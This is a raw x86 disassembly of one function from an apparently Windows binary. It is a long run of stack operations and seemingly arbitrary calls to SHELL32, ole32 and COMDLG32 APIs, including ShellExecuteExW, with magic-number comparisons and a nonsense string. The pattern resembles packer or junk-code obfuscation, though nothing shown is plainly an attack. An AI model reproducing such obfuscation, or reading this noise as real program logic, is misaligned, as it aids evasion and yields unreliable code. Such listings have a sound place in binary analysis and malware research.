mov dword [ebp - 0x6414], ecx
cmp dword [ebp - 0x6414], 0x7e87
je 0x46c4ed
jmp 0x46c5d9
mov edx, dword [ebp - 0x3da8]
mov eax, dword [edx]
sub eax, dword [ebp - 0x26b8]
mov dword [ebp + 0x14], eax
mov ecx, dword [ebp - 0x5cc4]
mov dl, byte [ecx]
mov byte [ebp - 0x6418], dl
cmp byte [ebp - 0x6418], 0x77
je 0x46c51a
jmp 0x46c5c6
mov eax, dword [ebp - 0x3da8]
mov ecx, dword [eax]
and ecx, dword [ebp - 0xee0]
mov edx, dword [ebp - 0x3da8]
mov dword [edx], ecx
push 0xb3
lea eax, [ebp - 0x1e84]
push eax
mov ecx, dword [ebp - 0x2744]
push ecx
mov edx, dword [ebp - 0x54bc]
push edx
mov eax, dword [ebp - 0x5274]
push eax
call dword [sym.imp.SHELL32.dll_SHGetNewLinkInfoW]
mov dword [ebp - 0x3180], eax
movzx ecx, byte [ebp - 0x44ad]
push ecx
mov edx, dword [ebp - 0x2b4c]
push edx
movzx eax, word [ebp - 0x2f8]
push eax
mov ecx, dword [ebp - 0x5cc4]
movzx edx, byte [ecx]
push edx
mov eax, dword [ebp - 0x4e90]
movzx ecx, byte [eax]
push ecx
call fcn.00429f50
mov edx, dword [ebp - 0xed0]
mov eax, dword [edx]
add eax, dword [ebp - 0x27d0]
mov ecx, dword [ebp - 0x539c]
mov dword [ecx], eax
mov edx, dword [ebp - 0x5274]
push edx
mov eax, dword [ebp - 0x54bc]
push eax
mov ecx, dword [ebp - 0x2744]
push ecx
call dword [sym.imp.SHELL32.dll_FindExecutableW]
mov dword [ebp - 0x2014], eax
jmp 0x46c5d7
mov edx, dword [ebp - 0x3da8]
mov eax, dword [edx]
add eax, dword [ebp - 0xee0]
mov dword [ebp + 0x14], eax
jmp 0x46c5fa
call fcn.0046d040
mov ecx, dword [ebp - 0x5b24]
movzx edx, byte [ecx]
mov eax, dword [ebp - 0x3118]
movzx ecx, byte [eax]
sub edx, ecx
mov eax, dword [ebp - 0x3780]
mov byte [eax], dl
mov ecx, dword [ebp - 0x4d68]
mov edx, dword [ecx]
add edx, dword [ebp - 0x5644]
mov dword [ebp - 0x42e4], edx
movzx eax, byte [ebp - 0x9b9]
movzx ecx, byte [ebp - 0xf3d]
sar eax, cl
mov ecx, dword [ebp - 0x3780]
mov byte [ecx], al
lea edx, [ebp - 0x11dc]
push edx
lea eax, [ebp - 0x539c]
push eax
call dword [sym.imp.ole32.dll_OleDoAutoConvert]
mov dword [ebp - 0x840], eax
movzx edx, word [ebp - 0x1ff8]
mov eax, dword [ebp - 0x5600]
movzx ecx, word [eax]
shl edx, cl
mov ecx, dword [ebp - 0x3f0c]
mov word [ecx], dx
mov edx, dword [ebp - 0x5b24]
movzx eax, byte [edx]
push eax
movzx ecx, byte [ebp - 0x3cc2]
push ecx
call fcn.004d1cd0
movzx edx, word [ebp - 0x1ff8]
movzx ecx, word [ebp - 0x2df0]
shl edx, cl
movzx eax, word [ebp - 0x5180]
movzx ecx, word [ebp - 0x5668]
sub eax, ecx
cmp edx, eax
jg 0x46c6a7
mov edx, dword [ebp + 0x14]
add edx, dword [ebp - 0x2b4c]
mov eax, dword [ebp - 0x3da8]
mov dword [eax], edx
mov ecx, dword [ebp - 0x5b24]
mov dl, byte [ecx]
mov byte [ebp - 0x641c], dl
cmp byte [ebp - 0x641c], 0x65
je 0x46c6c0
jmp 0x46c6c2
jmp 0x46c6e9
mov eax, dword [ebp - 0x4d68]
mov ecx, dword [eax]
add ecx, dword [ebp - 0x2960]
mov edx, dword [ebp - 0x5f8c]
mov dword [edx], ecx
mov eax, dword [ebp - 0x3da8]
mov ecx, dword [eax]
sub ecx, dword [ebp + 0x14]
mov dword [ebp - 0x1d20], ecx
mov edx, dword [ebp - 0x5b0c]
push edx
mov eax, dword [ebp - 0x49f0]
push eax
mov ecx, dword [ebp - 0x5274]
push ecx
mov edx, dword [ebp - 0x2310]
push edx
call dword [sym.imp.SHELL32.dll_ShellAboutW]
mov dword [ebp - 0x42e4], eax
movsx eax, byte [ebp - 0x3cc2]
mov ecx, dword [ebp - 0x5cc4]
movsx edx, byte [ecx]
and eax, edx
mov byte [ebp + 8], al
jmp 0x46c820
mov eax, dword [ebp - 0x3f0c]
movzx ecx, word [eax]
push ecx
mov edx, dword [ebp - 0x5cc4]
movzx eax, byte [edx]
push eax
movzx ecx, word [ebp + 0x10]
push ecx
mov dl, byte [ebp - 0x44ad]
mov eax, dword [ebp - 0x3780]
mov cl, byte [eax]
call fcn.00478870
movsx ecx, word [ebp - 0x34dc]
mov edx, dword [ebp - 0x569c]
movsx eax, word [edx]
or ecx, eax
movsx edx, word [ebp - 0x2f8]
movsx eax, word [ebp + 0x10]
add edx, eax
cmp ecx, edx
jge 0x46c7b8
mov ecx, dword [ebp - 0xed0]
mov edx, dword [ebp - 0x3cac]
and edx, dword [ecx]
mov eax, dword [ebp - 0x539c]
mov dword [eax], edx
mov ecx, dword [ebp - 0x4e90]
movsx edx, byte [ecx]
movsx eax, byte [ebp + 0xc]
add edx, eax
mov byte [ebp - 0x3cc2], dl
mov ecx, dword [ebp - 0xfc8]
push ecx
call dword [sym.imp.COMCTL32.dll_MakeDragList]
mov dword [ebp - 0x1900], eax
movsx edx, word [ebp - 0x2f8]
movsx eax, word [ebp - 0x34dc]
add edx, eax
mov ecx, dword [ebp - 0x569c]
mov word [ecx], dx
mov edx, dword [ebp - 0x3118]
movzx eax, byte [edx]
movzx ecx, byte [ebp - 0x9b9]
sub eax, ecx
mov byte [ebp + 0x18], al
mov edx, dword [ebp - 0x351c]
movzx eax, word [edx]
mov ecx, dword [ebp - 0x3f0c]
movzx edx, word [ecx]
add eax, edx
mov ecx, dword [ebp - 0x351c]
mov word [ecx], ax
push 0x66
mov edx, dword [ebp - 0x54bc]
push edx
mov eax, dword [ebp - 0x49f0]
push eax
call dword [sym.imp.COMDLG32.dll_GetFileTitleW]
mov word [ebp - 0x36b0], ax
lea ecx, [ebp - 0x1ce0]
push ecx
mov edx, dword [ebp - 0x401c]
push edx
call dword [sym.imp.SHELL32.dll_DragQueryPoint]
mov dword [ebp - 0xa6c], eax
mov eax, dword [ebp - 0xed0]
mov ecx, dword [ebp - 0x5ab4]
mov edx, dword [eax]
and edx, dword [ecx]
mov eax, dword [ebp - 0x5f8c]
mov dword [eax], edx
movsx ecx, word [ebp - 0x36b0]
mov dword [ebp - 0x6420], ecx
cmp dword [ebp - 0x6420], 0x4016
je 0x46c8f8
cmp dword [ebp - 0x6420], 0x6425
je 0x46c880
jmp 0x46c90d
mov edx, dword [ebp - 0x3da8]
mov eax, dword [edx]
sub eax, dword [ebp + 0x14]
mov dword [ebp - 0x1d20], eax
mov ecx, dword [ebp - 0x3f0c]
movzx edx, word [ecx]
movzx ecx, word [ebp - 0x1ff8]
shl edx, cl
mov eax, dword [ebp - 0x55ac]
mov word [eax], dx
push 0xd9
mov ecx, dword [ebp - 0x54bc]
push ecx
mov edx, dword [ebp - 0x624]
push edx
call dword [sym.imp.COMDLG32.dll_GetFileTitleW]
mov word [ebp - 0x34dc], ax
mov eax, dword [ebp - 0x3780]
movzx edx, byte [eax]
movzx ecx, byte [ebp + 0x18]
sar edx, cl
mov eax, dword [ebp - 0x3118]
mov byte [eax], dl
lea ecx, [ebp - 0x4438]
push ecx
call dword [sym.imp.COMDLG32.dll_PrintDlgW]
mov dword [ebp - 0xa6c], eax
jmp 0x46c90d
mov edx, dword [ebp - 0x4e90]
movsx eax, byte [edx]
movsx ecx, byte [ebp - 0x3cc2]
xor eax, ecx
mov byte [ebp + 8], al
jmp 0x46ca66
movzx edx, word [ebp - 0x5180]
mov eax, dword [ebp - 0x5600]
movzx ecx, word [eax]
sar edx, cl
movzx eax, word [ebp - 0x1ff8]
mov ecx, dword [ebp - 0x351c]
movzx ecx, word [ecx]
shl eax, cl
cmp edx, eax
jg 0x46ca66
lea edx, [ebp - 0xfc8]
push edx
mov eax, dword [ebp - 0x4c7c]
push eax
call dword [sym.imp.SHELL32.dll_DragQueryPoint]
mov dword [ebp - 0x27dc], eax
mov ecx, dword [ebp - 0x5f8c]
mov edx, dword [ecx]
add edx, dword [ebp - 0x5644]
mov dword [ebp - 0x42e4], edx
mov eax, dword [ebp - 0x3da8]
mov ecx, dword [eax]
add ecx, dword [ebp - 0xee0]
mov edx, dword [ebp - 0x3da8]
mov dword [edx], ecx
mov eax, dword [ebp - 0x5600]
movzx ecx, word [eax]
mov dword [ebp - 0x6424], ecx
cmp dword [ebp - 0x6424], 0x26c
je 0x46c9a2
jmp 0x46ca29
lea edx, [ebp - 0x3da8]
push edx
call dword [sym.imp.ole32.dll_CoDisableCallCancellation]
mov dword [ebp - 0x5b94], eax
mov eax, dword [ebp - 0x3da8]
mov ecx, dword [ebp - 0x2b4c]
sub ecx, dword [eax]
mov dword [ebp + 0x14], ecx
mov edx, dword [ebp - 0x5600]
movzx eax, word [edx]
movzx ecx, word [ebp - 0x5668]
sub eax, ecx
mov edx, dword [ebp - 0x5600]
mov word [edx], ax
push 0x4c
lea eax, [ebp - 0xfc8]
push eax
push 0x45
lea ecx, [ebp - 0x5cc4]
push ecx
lea edx, [ebp - 0x4fd0]
push edx
lea eax, [ebp - 0x27d0]
push eax
call dword [sym.imp.ole32.dll_CoMarshalInterface]
mov dword [ebp - 0xa8c], eax
movzx ecx, byte [ebp - 0xf3d]
mov edx, dword [ebp - 0x3118]
movzx eax, byte [edx]
add ecx, eax
mov edx, dword [ebp - 0x5b24]
mov byte [edx], cl
jmp 0x46ca66
mov eax, dword [ebp - 0x5b24]
movzx ecx, byte [eax]
push ecx
mov edx, dword [ebp - 0xee0]
push edx
movzx eax, word [ebp - 0x36b0]
push eax
movzx ecx, byte [ebp - 0x3cc2]
push ecx
movzx edx, byte [ebp + 0xc]
push edx
call fcn.00429f50
mov eax, dword [ebp - 0x42e4]
sub eax, dword [ebp - 0x5644]
mov dword [ebp - 0x3cac], eax
mov ecx, dword [ebp - 0x569c]
movsx edx, word [ecx]
movsx eax, word [ebp - 0x36b0]
or edx, eax
mov ecx, dword [ebp - 0x569c]
mov word [ecx], dx
mov edx, dword [ebp - 0x3da8]
mov eax, dword [edx]
mov dword [ebp - 0x6428], eax
cmp dword [ebp - 0x6428], 0x69e8f481
je 0x46ca9d
jmp 0x46caca
mov ecx, dword [ebp - 0x42e4]
push ecx
movzx edx, byte [ebp - 0x44ad]
push edx
call fcn.004ef7c0
add esp, 8
mov eax, dword [ebp - 0x4d68]
mov ecx, dword [ebp - 0x3cac]
sub ecx, dword [eax]
mov edx, dword [ebp - 0x5ab4]
mov dword [edx], ecx
mov eax, dword [ebp - 0x5b24]
movzx ecx, byte [eax]
mov edx, dword [ebp - 0x3118]
movzx eax, byte [edx]
sub ecx, eax
mov byte [ebp - 0x44ad], cl
lea ecx, [ebp - 0x3cc2]
push ecx
push 0x77
lea edx, [ebp - 0x4e90]
push edx
push 0xd2
lea eax, [ebp - 0x1ce0]
push eax
lea ecx, [ebp - 0xfc8]
push ecx
lea edx, [ebp - 0x42e4]
push edx
call dword [sym.imp.ole32.dll_CoGetInstanceFromIStorage]
mov dword [ebp - 0xdc0], eax
movzx eax, word [ebp - 0x5668]
movzx ecx, word [ebp - 0x1ff8]
add eax, ecx
mov edx, dword [ebp - 0x351c]
mov word [edx], ax
mov eax, dword [ebp - 0x3da8]
mov ecx, dword [eax]
and ecx, dword [ebp - 0x1bc0]
mov dword [ebp - 0x2b4c], ecx
jmp 0x46cbd5
mov edx, dword [ebp - 0x2b4c]
mov dword [ebp - 0x642c], edx
cmp dword [ebp - 0x642c], 0xafdcd5ac
je 0x46cb66
jmp 0x46cbad
movzx eax, word [ebp - 0x2df0]
mov ecx, dword [ebp - 0x3f0c]
movzx edx, word [ecx]
add eax, edx
mov word [ebp - 0x5668], ax
mov eax, dword [ebp - 0x2b4c]
add eax, dword [ebp - 0x26b8]
mov ecx, dword [ebp - 0x3da8]
mov dword [ecx], eax
lea edx, [ebp - 0xed0]
push edx
lea eax, [ebp - 0x51a8]
push eax
call dword [sym.imp.ole32.dll_ProgIDFromCLSID]
mov dword [ebp - 0x2a0c], eax
lea ecx, [ebp - 0x60ac]
push ecx
call dword [sym.imp.COMDLG32.dll_FindTextW]
mov dword [ebp - 0x182c], eax
movzx edx, byte [ebp - 0x9b9]
movzx eax, byte [ebp + 0x18]
add edx, eax
mov ecx, dword [ebp - 0x3118]
mov byte [ecx], dl
movsx edx, byte [ebp + 8]
mov eax, dword [ebp - 0x5cc4]
movsx ecx, byte [eax]
sub edx, ecx
mov byte [ebp - 0x3cc2], dl
mov edx, dword [ebp - 0x3118]
movzx eax, byte [edx]
movzx ecx, byte [ebp - 0x9b9]
sub eax, ecx
mov edx, dword [ebp - 0x5b24]
mov byte [edx], al
mov eax, dword [ebp + 0x14]
and eax, dword [ebp - 0x2b4c]
mov ecx, dword [ebp - 0x3da8]
mov dword [ecx], eax
mov edx, dword [ebp - 0x3da8]
mov edx, dword [edx]
mov ecx, dword [ebp - 0x1ff8]
call fcn.004721c0
mov eax, dword [ebp - 0x5ab4]
mov ecx, dword [eax]
add ecx, dword [ebp - 0x42e4]
mov dword [ebp - 0x3cac], ecx
jmp 0x46cd3f
movsx edx, word [ebp + 0x10]
mov dword [ebp - 0x6430], edx
cmp dword [ebp - 0x6430], 0x1b0e
je 0x46cccb
cmp dword [ebp - 0x6430], 0x7b25
je 0x46cc68
jmp 0x46cd3f
push 0xeb
lea eax, [ebp - 0x158]
push eax
lea ecx, [ebp - 0x1ce0]
push ecx
call dword [sym.imp.ole32.dll_StringFromGUID2]
mov dword [ebp - 0x27d0], eax
movzx edx, byte [ebp - 0x9b9]
movzx eax, byte [ebp - 0x44ad]
sub edx, eax
mov byte [ebp - 0xf3d], dl
movzx ecx, word [ebp - 0x2df0]
movzx edx, word [ebp - 0x1ff8]
sub ecx, edx
mov eax, dword [ebp - 0x3f0c]
mov word [eax], cx
lea ecx, [ebp - 0x52b8]
push ecx
call dword [sym.imp.COMCTL32.dll_PropertySheetW]
mov dword [ebp - 0x5644], eax
jmp 0x46cd3f
mov edx, dword [ebp - 0x3118]
movzx eax, byte [edx]
push eax
mov ecx, dword [ebp - 0x3da8]
mov edx, dword [ecx]
push edx
movzx eax, word [ebp + 0x10]
push eax
mov ecx, dword [ebp - 0x5cc4]
movzx edx, byte [ecx]
push edx
mov eax, dword [ebp - 0x5cc4]
movzx ecx, byte [eax]
push ecx
call fcn.00429f50
mov edx, dword [ebp - 0x5cc4]
movsx eax, byte [edx]
movsx ecx, byte [ebp - 0x3cc2]
shl eax, cl
mov byte [ebp + 8], al
movzx ecx, word [ebp - 0x1ff8]
mov edx, dword [ebp - 0x3f0c]
movzx eax, word [edx]
xor ecx, eax
mov edx, dword [ebp - 0x5600]
mov word [edx], cx
lea eax, [ebp - 0x39fc]
push eax
call dword [sym.imp.ole32.dll_CoSetCancelObject]
mov dword [ebp - 0x37a4], eax
mov ecx, dword [ebp - 0x3da8]
mov edx, dword [ecx]
mov ecx, dword [ebp - 0x1ff8]
call fcn.004721c0
movzx edx, byte [ebp - 0x44ad]
movzx eax, byte [ebp - 0xf3d]
and edx, eax
mov ecx, dword [ebp - 0x3118]
movzx eax, byte [ecx]
movzx ecx, byte [ebp - 0x9b9]
sub eax, ecx
cmp edx, eax
jg 0x46cda1
mov edx, dword [ebp - 0x3118]
movzx eax, byte [edx]
movzx ecx, byte [ebp - 0xf3d]
add eax, ecx
mov edx, dword [ebp - 0x3118]
mov byte [edx], al
mov eax, dword [ebp - 0x1bc0]
and eax, dword [ebp + 0x14]
mov dword [ebp - 0x2b4c], eax
lea ecx, [ebp - 0x1e84]
push ecx
call dword [sym.imp.SHELL32.dll_ShellExecuteExW]
mov dword [ebp - 0x27dc], eax
movsx edx, word [ebp - 0x36b0]
mov dword [ebp - 0x6434], edx
cmp dword [ebp - 0x6434], 0x4ac5
je 0x46cddb
cmp dword [ebp - 0x6434], 0x7799
je 0x46cdf3
jmp 0x46ce49
mov eax, dword [ebp - 0x5ab4]
mov ecx, dword [eax]
add ecx, dword [ebp - 0x3cac]
mov edx, dword [ebp - 0x4d68]
mov dword [edx], ecx
jmp 0x46ce49
mov eax, dword [ebp - 0x5cc4]
movsx ecx, byte [eax]
movsx edx, byte [ebp - 0x3cc2]
sub ecx, edx
mov byte [ebp + 8], cl
movzx eax, word [ebp - 0x5668]
push eax
movzx ecx, byte [ebp - 0x3cc2]
push ecx
movzx edx, word [ebp - 0x36b0]
push edx
mov eax, dword [ebp - 0x3118]
mov dl, byte [eax]
mov cl, byte [ebp - 0x44ad]
call fcn.00478870
mov ecx, dword [ebp - 0x3da8]
mov edx, dword [ecx]
add edx, dword [ebp - 0x2b4c]
mov eax, dword [ebp - 0x3da8]
mov dword [eax], edx
movzx ecx, byte [ebp - 0x9b9]
push ecx
mov edx, dword [ebp - 0x26b8]
push edx
movzx eax, word [ebp + 0x10]
push eax
mov ecx, dword [ebp - 0x5cc4]
movzx edx, byte [ecx]
push edx
mov eax, dword [ebp - 0x5cc4]
movzx ecx, byte [eax]
push ecx
call fcn.00429f50
call dword [sym.imp.COMDLG32.dll_CommDlgExtendedError]
mov dword [ebp - 0xee0], eax
mov edx, dword [ebp - 0x5cc4]
movsx eax, byte [edx]
movsx ecx, byte [ebp - 0x3cc2]
sub eax, ecx
mov edx, dword [ebp - 0x5cc4]
mov byte [edx], al
mov eax, dword [ebp - 0x5ab4]
mov edx, dword [eax]
mov ecx, dword [ebp - 0x3cac]
shl edx, cl
mov eax, dword [ebp - 0x5f8c]
mov dword [eax], edx
movsx ecx, word [ebp + 0x10]
mov dword [ebp - 0x6438], ecx
cmp dword [ebp - 0x6438], 0x6100
je 0x46cecc
jmp 0x46cee6
mov edx, dword [ebp - 0x5cc4]
movsx eax, byte [edx]
movsx ecx, byte [ebp - 0x3cc2]
and eax, ecx
mov edx, dword [ebp - 0x5cc4]
mov byte [edx], al
lea eax, [ebp - 0x2790]
push eax
lea ecx, [ebp - 0x840]
push ecx
lea edx, [ebp - 0x3cc2]
push edx
lea eax, [ebp - 0xe9c]
push eax
call dword [sym.imp.SHELL32.dll_PathYetAnotherMakeUniqueName]
mov dword [ebp - 0x3180], eax
mov ecx, dword [ebp - 0xee0]
or ecx, dword [ebp - 0x26b8]
mov dword [ebp - 0x2b4c], ecx
mov edx, dword [ebp - 0x5ab4]
mov eax, dword [ebp - 0x5f8c]
mov edx, dword [edx]
mov ecx, dword [eax]
sar edx, cl
mov eax, dword [ebp - 0x5ab4]
mov dword [eax], edx
movzx ecx, word [ebp - 0x5668]
movzx edx, word [ebp - 0x2df0]
xor ecx, edx
mov word [ebp - 0x1ff8], cx
lea eax, [ebp - 0xe9c]
push eax
lea ecx, [ebp - 0x9b9]
push ecx
push str.Cabinetmaker_guillotining_Convertors
lea edx, [ebp - 0xe9c]
push edx
call dword [sym.imp.ole32.dll_MkParseDisplayName]
mov dword [ebp - 0x5b94], eax
jmp 0x46d018
movzx eax, word [ebp - 0x5668]
mov dword [ebp - 0x643c], eax
cmp dword [ebp - 0x643c], 0x457
je 0x46cf97
jmp 0x46cf99
jmp 0x46cfad
mov ecx, dword [ebp - 0x3cac]
and ecx, dword [ebp - 0x27d0]
mov edx, dword [ebp - 0x5ab4]
mov dword [edx], ecx
lea eax, [ebp - 0x27d0]
push eax
mov ecx, dword [ebp - 0x4118]
push ecx
call dword [sym.imp.SHELL32.dll_DragQueryPoint]
mov dword [ebp - 0x27dc], eax
movzx edx, word [ebp - 0x5668]
add edx, 0x254
mov word [ebp - 0x5668], dx
mov eax, dword [ebp - 0x3cac]
sub eax, dword [ebp - 0x27d0]
mov ecx, dword [ebp - 0x5ab4]
mov dword [ecx], eax
call dword [sym.imp.ole32.dll_CoGetCurrentProcess]
mov dword [ebp - 0x26b8], eax
mov edx, dword [ebp - 0xee0]
mov ecx, dword [ebp - 0x5668]
call fcn.004721c0
mov edx, dword [ebp - 0xee0]
mov dword [ebp - 0x26b8], edx
mov eax, dword [ebp - 0x27d0]
or eax, dword [ebp - 0x3cac]
mov ecx, dword [ebp - 0x5ab4]
mov dword [ecx], eax
mov eax, dword [section..data]
pop esi
mov esp, ebp
pop ebp
ret 0x14